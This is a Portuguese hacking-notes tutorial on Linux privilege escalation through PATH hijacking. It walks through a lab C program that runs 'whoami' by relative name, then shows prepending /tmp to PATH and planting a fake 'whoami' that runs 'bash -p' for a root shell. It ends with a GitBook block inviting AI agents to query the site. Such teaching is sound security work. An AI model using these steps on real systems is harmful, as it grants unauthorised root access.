> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# Sequestro de PATH (test.c) - Escalada de privilégios no Linux

## O que é

O sequestro de PATH abusa de programas ou scripts privilegiados que chamam comandos sem caminhos absolutos. Se o invasor controla um diretório anterior em `PATH`, o processo privilegiado pode executar o binário do atacante. Esta página específica foca em **Sequestro de PATH (test.c)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Exemplos

Crie um arquivo no **/tmp/test.c** diretório com o seguinte conteúdo:

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Atualmente somos o próximo usuário: /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Atualmente somos o próximo usuário: /n/n");
	system("whoami");
	return 0;
}
```

Compile o script com **`gcc`** e crie o arquivo de teste com **`-o`** ao conceder permissões sudoers:

```bash
gcc test -o test
```

<figure><img src="/files/4761206ea88541425f13b7442c10932f8d535ad1" alt="" width="563"><figcaption></figcaption></figure>

Se você executar o script e filtrar por "whoami", notará que ele o executa primeiro com o caminho absoluto e depois com o **relativo**. Este é um problema sério se nós **modificarmos o $PATH**:

<figure><img src="/files/72683e14b365b082d5db007c101a4f4cc61dec87" alt="" width="563"><figcaption></figcaption></figure>

Altere **$PATH** e a prioridade for dada ao caminho /tmp:

<div data-full-width="true"><figure><img src="/files/bd7a707a5b96396529715c70f12f726ff48f2ece" alt="" width="563"><figcaption></figcaption></figure></div>

Em seguida, **crie o seguinte arquivo no tmp** diretório:

```bash
touch whoami
chmod +x whoami
```

**Insira** o seguinte conteúdo no arquivo:

```bash
bash -p
```

Executar o comando **script test** novamente e, com o $PATH, obtenha acesso ao Bash como um **usuário root**:

<figure><img src="/files/0bb33d02a489893f13d3d861642507feea396952" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
